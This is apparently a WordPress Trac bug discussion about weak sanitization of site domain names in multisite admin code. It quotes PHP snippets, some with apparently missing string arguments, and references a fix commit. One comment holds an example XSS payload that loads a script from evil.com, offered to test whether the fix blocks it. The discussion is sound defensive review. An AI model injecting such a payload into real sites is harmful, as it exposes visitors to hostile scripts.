ms-edit.php / addblog action improperly sanitizes domains

[Denis-de-Bernardy]

it uses sanitize_user in non-strict mode with a twist:

$domain = sanitize_user( str_replace( '/', '', $blog[ 'domain' ] ) );

as I read sanitize_user, this can allow for subdomains with improper characters in them.

[Denis-de-Bernardy]

ms-options.php has a slightly different approach to sanitization, which is equally bug prone:

$blogname = untrailingslashit( sanitize_user( str_replace( '.', , str_replace( $current_site->domain . $current_site->path, , $details->domain . $details->path ) ) ) );

[Denis-de-Bernardy]

see also #10319

[wpmuguru]

(In [13630]) block invalid site names/urls in add site, see #11777

[wpmuguru]

Replying to Denis-de-Bernardy:

ms-options.php has a slightly different approach to sanitization, which is equally bug prone:

$blogname = untrailingslashit( sanitize_user( str_replace( '.', , str_replace( $current_site->domain . $current_site->path, , $details->domain . $details->path ) ) ) );

That's for display only. If the dashboard blog is dashboard.domain.com or domain.com/dashboard, then dashboard is shown in the textbox.

[Denis-de-Bernardy]

doesn't r13630 allow a completely unsanitized domain name to go in provided it contains -- in it? such as:

evil--<script src="http://evil.com/xss.js"></script>

[wpmuguru]

Replying to Denis-de-Bernardy:

doesn't r13630 allow a completely unsanitized domain name to go in provided it contains -- in it? such as:

evil--<script src="http://evil.com/xss.js"></script>

It would block that. See line 139

if ( ! preg_match( '/(--)/', $blog[ 'domain' ] ) && preg_match( '|^([a-zA-Z0-9-])+$|', $blog[ 'domain' ] ) )

The only characters allowed in the domain name are a-zA-Z0-9-.